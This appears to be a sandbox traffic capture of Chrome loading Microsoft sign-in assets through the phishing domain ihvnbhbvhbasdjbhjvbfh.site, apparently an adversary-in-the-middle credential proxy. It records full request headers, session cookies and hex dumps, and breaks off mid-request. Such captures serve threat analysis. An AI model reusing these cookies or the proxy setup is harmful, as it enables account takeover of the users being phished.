esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:52 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:52 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 061dd44c-201e-001c-5590-a0a1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183152Z-1675f555588tc4b799hgh77vs0000000056g0000000035b9 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:31:52 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$ UAWUaX `'= \|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\ sfUN B>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49811	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:52 UTC	2807	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:52 UTC	806	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:52 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: b1d39f05-201e-0048-19ac-a06e9e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183152Z-1675f555588w9qtm6742k93z6c00000005q000000000edmu x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:52 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ {&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49814	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	2768	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_76bb127b5869a5c6b8b3.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:54 UTC	1392	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:54 GMT Content-Type: application/x-javascript content-length: 113440 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:56 GMT ETag: 0x8DAFF34DE8E0647 x-ms-request-id: e7a740b6-201e-000c-53ac-a01187000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-17859dc676b8gqsnhdbn22ug8n000000059g000000000mfx x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-05-07 18:31:54 UTC	14992	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 79 7f db 38 b2 28 fa ff fd 14 b6 a6 c7 11 db b4 2c 6a 97 6d c6 e3 78 e9 64 a6 bb 93 93 a5 e7 cc c8 ea 0c 45 41 12 db 14 29 93 94 97 c4 9e cf fe aa 0a 3b 29 67 39 e7 9e 7b df ef bd cc 34 4d 14 0a 85 42 01 28 14 0a 05 6a ff c7 ed ff b5 f5 e3 d6 de b7 ff db 7a f7 fe e4 ed fb ad d7 17 5b ef 5f be 7a 7b b6 f5 06 52 ff d8 fa f5 f5 fb 57 a7 e7 df 4e 07 2b c5 ff de 2f a2 7c 6b 16 c5 6c 0b fe 4e 82 9c 4d b7 d2 64 2b cd b6 a2 24 4c b3 55 9a 05 05 cb b7 96 f0 cc a2 20 de 9a 65 e9 72 ab 58 b0 ad 55 96 fe c1 c2 22 df 8a a3 bc 80 42 13 16 a7 b7 5b 75 20 97 4d b7 de 04 59 71 bf f5 ea 8d d3 00 fa 0c a8 45 f3 28 81 d2 61 ba ba 87 f7 45 b1 95 a4 45 14 b2 ad 20 99 12 b5 18 12 49 ce b6 d6 c9 94 65 5b b7 8b 28 5c 6c fd 12 85 59 9a a7 b3 62 Data Ascii: y8(,jmxdEA) ;)g9{4M B( jz[_z{RWN+/\|klNMd+$LU erXU"B[u MYqE(aEE Ie[(\lYb
2024-05-07 18:31:54 UTC	1392	IN	Data Raw: 8b 4a 4f 1b 57 89 8c 18 4b 2e 7f 23 4f c5 54 f2 9e c4 9c ea 45 a8 8e 99 55 be 9f 14 ca cc 0d 17 9b 86 32 af 72 6f 69 a8 da 5c be 9d d4 33 32 c4 ec 08 5a 06 cc 16 9d 6a 6b f5 82 52 a8 0a 6d 38 20 2c e7 49 7b a8 5d ce b0 ee 28 a9 ae d8 70 49 89 be 80 21 32 2b 6c 86 3a af d2 bf 9d 72 9e d4 56 4c 66 54 8a b4 ed 1c bb 0b e5 e7 23 f9 bd 9b 0c 2f b6 97 be 90 47 6a d0 bc 16 42 1d 1c 1b 41 e5 d4 a9 b1 0a 21 27 fd 52 b9 a9 e1 29 a8 05 49 8c 9f 1a a1 b5 c5 bc 46 31 e5 00 7d 8d 82 63 18 d7 28 48 d3 9b 57 01 7a 1c 50 32 06 49 04 86 31 c8 09 9b 97 00 38 65 cb 4b 42 fd 87 bb 32 eb 13 13 43 3a cd cf 78 95 8e 78 55 de 46 ba d2 97 ad ec 93 3c b2 47 cc 50 7d 9a fe d5 4b 7f 34 3c ad 50 7b ea 93 8a 31 4a fa c1 08 b5 e7 e5 d4 ba 45 5a d2 4e 66 3c 70 7e cc 5f f5 22 38 94 80 cc Data Ascii: JOWK.#OTEU 2roi\32ZjkR m8 ,I{](pI!2+l:rVLfT#/GjBA !'R)IF1}c(HWzP2I1 8eKB2C:xxUF<GP}K4<P{1JEZNf<p~_"8
2024-05-07 18:31:54 UTC	7698	IN	Data Raw: f7 32 26 6a ea 49 d8 8d 0d 89 c2 2b fb b6 e8 40 82 4b 06 7d e5 de 61 77 76 29 3f 4e 5c b9 54 38 e4 44 8c 9f 2e e1 90 2b 1d ca c8 eb a9 d4 f2 f2 f5 db 5f f9 08 61 84 20 7e 13 e9 8e 1c 45 45 f9 f7 ec 4c e5 da 56 00 2b 1c bc 2d a1 95 40 f1 ae cc b1 a2 c4 89 2f f4 8d 28 83 39 e0 dd 45 30 81 45 db 11 e5 41 b9 23 f5 41 49 f5 81 4b 8e 60 7f ce b5 48 99 3c d0 a0 9d 62 91 ae 26 72 3c b5 69 f3 0a 10 e3 5a b7 c7 21 b2 4e ea f8 8a 71 3e e1 48 25 e3 bc 2b a0 2a f0 23 20 6f 60 91 e6 8a 03 ea 11 eb d0 9c c6 60 16 48 59 f0 af f2 bf 7f 7b 72 76 6e 02 0a cb 65 da 25 d7 90 84 69 57 33 ff 3d a8 6a b4 2d ff f2 c1 c6 60 db 49 c7 c8 51 ce ca d0 00 1a 01 b8 dc 47 b5 39 fe 56 b2 a4 26 6b 97 09 2a ac 44 d5 d8 c9 05 e4 9a 7b 9f 45 2b e3 b7 9e c5 2c 47 a0 c6 13 15 e7 6a ff 34 e5 80 Data Ascii: 2&jI +@K}awv)?N\T8D.+_a ~EELV+-@/(9E0EA#AIK`H<b&r<i Z!Nq>H%+# o``HY{rvn e%iW3=j-`IQG9V&k D{E+,Gj4
2024-05-07 18:31:54 UTC	8686	IN	Data Raw: a7 bd 6f 6d 6e db 58 16 fc be bf 42 62 6c 19 30 40 f1 a1 87 23 92 20 a3 6b 3b bb ae ca b9 71 25 b9 f7 c3 21 69 1e 90 04 49 44 20 c0 00 a4 1e 16 b8 bf 7d bb 7b de 00 28 c9 3e f7 d4 dd da da 54 2c 02 83 79 f6 f4 f4 f4 f4 f4 43 5d 10 64 db 87 88 3c 72 06 f7 db ba 1f 85 cb b8 53 73 30 db 78 6c 8c f1 c0 cd aa b6 0e dc b5 71 a7 6a f4 42 48 fd b1 1b 28 1e 60 97 6b da 08 65 86 94 32 b8 45 68 a9 0a 08 5c ec a0 06 44 b6 bb c2 ad fd d8 3a 44 57 bb 2b 21 11 c2 b3 33 42 cb dd 78 0f 12 5a bd 0d 41 0c cf ce 30 10 40 fa 15 b2 19 30 c0 c7 f7 86 92 fb 7b ae 90 4c ab 9f 2d 8f 95 5c 1e ea db 13 94 9b e5 c1 8e fc 57 2e 86 15 ee 75 4e 1b ef 3c 34 88 4d 93 f9 83 9c 78 7c 51 68 33 05 c4 71 da 80 90 f6 0b 50 6c e5 ae 14 8a cd 8b b8 a5 50 78 fe af c3 ad 81 86 60 a8 69 7a 10 c7 34 Data Ascii: omnXBbl0@# k;q%!iID }{(>T,yC]d<rSs0xlqjBH(`ke2Eh \D:DW+!3BxZ A0@0{L-\W.uN<4Mx\|Qh3qPlPx`iz4
2024-05-07 18:31:54 UTC	3024	IN	Data Raw: 8d c1 54 40 2b 36 a1 05 40 d0 cf 11 6c fc 31 ef 4c ac 8d 3f d4 52 9b df 02 15 48 f1 b8 e9 b7 4c 3b 39 09 fb 15 50 a8 04 a0 18 d6 cb e0 18 da 45 ca 0a a3 37 29 83 d8 cd 0f d1 19 b5 e1 8b a5 5c a6 2c 62 35 96 ae 02 cc 05 a2 33 3f e6 76 3a 1e 3c 9f 45 f2 89 50 39 bb 16 b2 3b 85 b1 d0 4c 96 af f4 bc 26 45 ae ee 96 20 21 11 c7 a0 81 9e 87 4e a2 b9 a2 1d 43 0c 8c 5e e0 6e bd aa 49 d2 cc a7 b6 03 25 ce e9 04 5d 49 ac 30 1a b5 5d ae 2f 06 1c e2 d9 2b ea 75 b7 4e 55 7b 4a 4c c4 70 6e 90 b2 73 97 39 27 78 72 ae de a8 b9 f0 38 cc d8 75 19 9c 47 82 0e 6c 43 28 f4 36 f7 3f e3 0d af 92 66 3e 4e 3e f0 6d e9 d6 aa e0 79 cd 19 0f f0 b0 38 dc d6 5b c4 e4 a6 c1 6d 90 12 db a4 ef 75 76 a7 d0 a4 80 9e 7d 70 eb 6d 9a 15 98 a3 ae 3a 2b 21 27 c9 16 0f a9 44 20 df c5 48 70 a3 81 Data Ascii: T@+6@l1L?RHL;9 PE 7)\,b53?v:<EP9;L&E !NC^nI%]I0]/+uNU{JLpns9'xr8uGlC(6? f>N>my8[muv}pm:+!'D Hp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49815	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	1718	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:53 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:53 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 5c33c8e8-f01e-0061-0dac-a08cbe000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183153Z-1675f555588rth771kamxsa1an00000005fg000000003kdh x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:31:53 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9C C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49817	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:53 UTC	1706	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; 